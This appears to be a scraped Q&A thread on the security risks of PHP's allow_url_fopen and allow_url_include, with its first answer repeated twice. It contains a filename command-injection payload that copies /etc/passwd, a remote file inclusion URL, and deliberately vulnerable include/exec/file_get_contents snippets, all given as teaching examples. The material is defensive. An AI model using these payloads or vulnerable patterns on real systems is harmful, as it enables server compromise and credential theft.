A sample attack scenario using allow_url_fopen that allows me to download your password file:
- Suppose your app allows me to provide a URL to a remote image, which you will download and use as my avatar image.
- I provide the following URL:
"http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;" - Your app uses
allow_url_fopento download the file and stores it as"sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;". I have now successfully injected a command into the filename. - Your app wants to compress and resize my image, so you use ImageMagick on the command line with something like
exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg") - What does
execactually execute? If you haven't sanitized the filename, then it executes the following on the shell:
magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg
Since ; is a command delimited on the shell, that will be broken by the shell automatically into the following separate commands:
magick convert -size 128x128 sbwoodside.jpg
cp /etc/passwd downloads/passwords.txt
sbwoodside.jpg
cp /etc/passwd downloads/passwords.txt
.128.jpg
And now I just go to http://yourapp.com/downloads/passwords.txt and download your password file. Of course, I can do anything I want, since I'm executing commands as your web server on your system.
A sample attack scenario using allow_url_fopen that allows me to download your password file:
- Suppose your app allows me to provide a URL to a remote image, which you will download and use as my avatar image.
- I provide the following URL:
"http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;" - Your app uses
allow_url_fopento download the file and stores it as"sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;". I have now successfully injected a command into the filename. - Your app wants to compress and resize my image, so you use ImageMagick on the command line with something like
exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg") - What does
execactually execute? If you haven't sanitized the filename, then it executes the following on the shell:
magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg
Since ; is a command delimited on the shell, that will be broken by the shell automatically into the following separate commands:
magick convert -size 128x128 sbwoodside.jpg
cp /etc/passwd downloads/passwords.txt
sbwoodside.jpg
cp /etc/passwd downloads/passwords.txt
.128.jpg
And now I just go to http://yourapp.com/downloads/passwords.txt and download your password file. Of course, I can do anything I want, since I'm executing commands as your web server on your system.
It depends on you! how you designed your applications and are you considered security during all software development life-cycle?
Consider insecure code below that loads web pages according to request parameter (page):
<?php
include($_GET['page']);
?>
And now consider an attacker includes malicious PHP code by using:
?page=http://example.com/badcode-php.txt
He can then bypass all security measure from your site and do anything (accessing local files, uploading another files, etec).
So its recommended that to turn of allow_urL_fopen and allow_url_include to minimize remote file execution attack.
This is just one reason why you may want allow_url_fopen set to 0
Let's say you allow users to enter a url, and you have your server fetch this url.
You might code something like this: - YOU SHOULD NOT CODE THIS -
echo file_get_contents($_POST['url']);
Problem is that there is a security issue here. Somebody could pass a file path instead of a url and have access to your server's files.
For example, somebody might pass /etc/passwd as a url, and be able to view its contents.
Now, if allow_url_fopen were set to 0, you wouldn't be using file_get_contents to fetch URL's, you would be using CURL.
allow_url_fopen is fine. If you need the feature, enable it. There are better tools out there for loading data from remote URLs (like the curl extension), but it's good enough for some simple use cases.
Its close relative, allow_url_include, is not safe. It allows functions like include() and require() to load and run code from remote URLs, which is a really bad idea. Leave that one turned off.
In the past, allow_url_include didn't always exist as a distinct option, so it was necessary to turn allow_url_fopen off to prevent badly written scripts from including data from remote URLs. That's no longer the case, though.
I think the answer comes down to how well you trust your developers to use the feature responsibly? Data from a external URL should be treated like any other untrusted input and as long as that is understood, what's the big deal?
The way I see it is that if you treat your developers like children and never let them handle sharp things, then you'll have developers who never learn the responsibility of writing secure code.
You definitely want allow_url_include set to Off, which mitigates many of the risks of allow_url_fopen as well.
But because not all versions of PHP have allow_url_include, best practice for many is to turn off fopen. Like with all features, the reality is that if you don't need it for your application, disable it. If you do need it, the curl module probably can do it better, and refactoring your application to use curl to disable allow_url_fopen may deter the least determined cracker.